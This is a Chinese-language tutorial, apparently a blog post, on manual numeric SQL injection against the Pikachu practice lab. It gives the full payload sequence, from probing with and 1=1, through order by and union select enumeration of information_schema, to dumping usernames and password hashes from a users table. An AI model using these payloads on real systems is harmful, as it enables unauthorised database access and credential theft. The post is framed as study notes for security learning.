01
数字型注入_注入点确定
查看PHP源码的核心代码👇
解释:
-
红色箭头的id就是post请求包里面取参参数
-
黄色部分就是传入数据库的查询语句
明显传入参数完全没有做过滤
当加入一个特殊字符进行查询的时候,Mysql查询语句会变成这样
select username,email from member where id=1'
导致数据库的报错
输入第一个测试payload
1 and 1=1
输入payload后,最终传入数据库的查询语句如下
select username,email from member where id=1 and 1=1
输入第二个测试payload
1 and 1=2
select username,email from member where id=1 and 1=2
到这一步可以确定在参数1后面执行的sql语句可以成功执行,注入点确定。
02
漏洞利用_获取基本信息
利用order by判断当前字段数
当order by为2正常返回,order by为3时错误,确定字当前段数为2
1 order by 2
1 order by 3
技巧:
可以采用二分法快速判断当前字段数,如
-
直接猜测当前字段数为10
-
当服务器返回正常查询信息证明当前字段数>=10,可以继续加5用15来猜测当前字段数
-
相反,当服务器返回其他时,证明当前字段数<10,可以减去5用5来猜测当前字段数
查看是否存在回显位置
1 union select 1,2
利用漏洞查看当前数据库和版本
1 union select database(),version()
MYSQL数据库版本5.0以上有一个information_scheam表存着关于MySQL服务器所维护的所有其他数据库的信息.如数据库名,数据库的表,表栏的数据类型与访问权限等。
03
漏洞利用_获取数据库内容
利用联合查询查看当前数据库的所有数据表
1 union select group_concat(table_name),2 from information_schema.tables where (table_schema='pikachu')
解释:使用group_concat函数让数据显示在一列。
明显表users是核心数据,查看users表的所有表头
1 union select group_concat(column_name),2 from information_schema.columns where (table_name='users')
继续查看users表里username和password的内容
1 union select group_concat(username),group_concat(password) from users
成功爆出管理员密文密码,平台解密
!声明:本文章纯属于个人学习笔记,仅提供学习交流,切勿用于违法犯罪。
本文始发于微信公众号(Khan安全攻防实验室):Mysql数字型手工注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论